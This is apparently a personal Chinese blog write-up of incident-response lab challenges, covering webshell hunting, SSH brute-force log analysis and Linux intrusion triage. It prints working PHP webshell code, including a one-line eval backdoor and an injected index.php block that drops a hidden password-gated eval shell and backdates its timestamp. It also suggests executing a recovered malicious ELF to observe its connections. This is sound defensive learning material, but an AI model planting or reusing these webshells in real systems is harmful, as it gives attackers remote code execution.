本文最后更新于 9 天前,其中的信息可能已经有所发展或是发生改变。
说在前面
本篇仅是本人对应急响应的学习记录,具体做题步骤可能有跳,可能没有很具体的答疑和写出知识点
第一章 应急响应-webshell查杀
简介
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
进去一顿找其实也能找到
可以在findshell中直接下载,也可以使用命令
tar -czvf html.tar.gz ./
可以直接放D盾里直接扫
也可以手动查找
/var/www/html/include/gz.php
使用什么shell工具
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
是哥斯拉
https://github.com/BeichenDream/Godzilla
md5一下
flag{39392de3218c333f794befef07ac9257}
隐藏shell的完整路径
/var/www/html/include/Db/.Mysqli.php
使用ls -a
查看隐藏文件
在 Linux / macOS / Unix 中:
以“.”开头的文件会被默认视为隐藏文件(也叫“点文件”)。
例如:.bashrc、.gitignore、.env
查看隐藏文件的命令:
ls -a:列出当前目录下的所有文件(包括隐藏的)。
创建隐藏文件:
touch .myhiddenfile
md5一下
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
免杀马
简单来说:免杀马是指经过处理,能在一段特殊时间内绕过大部分杀毒软件检测的木马程序
丢杀毒软件看一下,有一个没有扫出来
/var/www/html/wap/top.php
md5一下之后就是
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
第一章 应急响应-Linux日志分析
Linux下常见的日志目录:
/var/log/syslog
:记录系统的通用日志信息,适用于大多数Linux发行版。/var/log/messages
:记录系统的通用日志信息,通常在Red Hat系的发行版中使用。/var/log/auth.log
:记录身份验证相关的日志信息,如登录尝试、sudo命令使用等。/var/log/kern.log
:记录内核相关的日志信息。/var/log/dmesg
:记录系统启动时的内核消息。/var/log/boot.log
:记录系统启动过程中的消息。/var/log/cron.log
:记录定时任务相关的日志信息。/var/log/mail.log
:记录邮件系统相关的日志信息。/var/log/apache2/access.log
和/var/log/apache2/error.log
:记录Apache服务器的访问日志和错误日志。/var/log/nginx/access.log
和/var/log/nginx/error.log
:记录Nginx服务器的访问日志和错误日志。
其中常用的就是auth.log
auth.log
中记录的典型事件包括:
事件类型 | 示例 |
---|---|
用户登录/退出 | SSH 登录、控制台登录等 |
sudo 命令使用 | 谁使用了 sudo 、是否成功 |
SSH 登录尝试 | 成功/失败,来源 IP |
PAM 身份验证 | Pluggable Authentication Module |
系统服务认证 | 如 cron、polkit、GDM、LightDM |
密码错误或账户锁定 |
简介
账号root密码linuxrz
ssh root@IP
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少
cat auth.log.1|grep -a "Failed password for root"
root@ip-10-0-10-1:/var/log# cat auth.log.1|grep -a "Failed password for root"
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
root@ip-10-0-10-1:/var/log# cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
4 192.168.200.2
1 192.168.200.32
1 192.168.200.31
看到三个ip就是
flag{192.168.200.2,192.168.200.31,192.168.200.32}
找成功登陆的ip
root@ip-10-0-10-1:/var/log# cat auth.log.1|grep -a "Accepted "
Aug 1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2
Aug 1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2
flag{192.168.200.2}
使用字典
root@ip-10-0-10-1:/var/log# cat auth.log.1|grep -a "Failed password"| grep -o 'for .* from'|uniq -c|sort -nr
5 for invalid user user from
5 for invalid user hello from
5 for invalid user from
4 for root from
1 for root from
1 for root from
1 for invalid user test3 from
1 for invalid user test2 from
1 for invalid user test1 from
flag{user,hello,root,test3,test2,test1}
爆破了多少次
cat auth.log.1|grep -a "192.168.200.2"|grep "for root"
flag{4}
后门用户用户名是多少
可以直接查看/etc/passwd
用户账号信息文件之一,它记录了系统中每个用户的基本信息
格式说明:
用户名:密码占位符:用户ID:组ID:备注信息:主目录:默认Shell
字段序号 | 含义 |
---|---|
1. 用户名 | 系统登录名(如 root 、john ) |
2. 密码占位符 | 通常是 x ,表示密码存储在 /etc/shadow |
3. 用户 ID(UID) | 0 表示 root 用户,其他普通用户通常从 1000+ 开始 |
4. 组 ID(GID) | 对应的主组 ID |
5. 用户信息 | 一些备注(如真实姓名,可为空) |
6. 主目录 | 用户登录后的家目录路径 |
7. 默认 shell | 登录后使用的 Shell,如 /bin/bash 、/usr/sbin/nologin |
也可以
cat auth.log.1|grep -a "new user"
flag{test2}
第一章 应急响应- Linux入侵排查
简介
账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
网页目录存在木马,连接密码
1.php当中
<?php eval($_POST[1]);?>
密码是1,对应flag{1}
不死马
index.php中有
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
但是没有不死马的循环特征,一会跟进
密码是有的了,解密一下md5
flag{hello}
找到生成不死马的文件
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
flag{index.php}
找到留下木马文件的黑客ip
丢进微步沙箱
flag{10.11.55.21}
对应端口看沙箱的流量包
flag{3333}
或者是把文件下载下来之后,利用chmod命令修改成运行权限
chmod +x shell.elf
./shell.elf
查看网络连接
netstat -antlp
注:记得练习Linux命令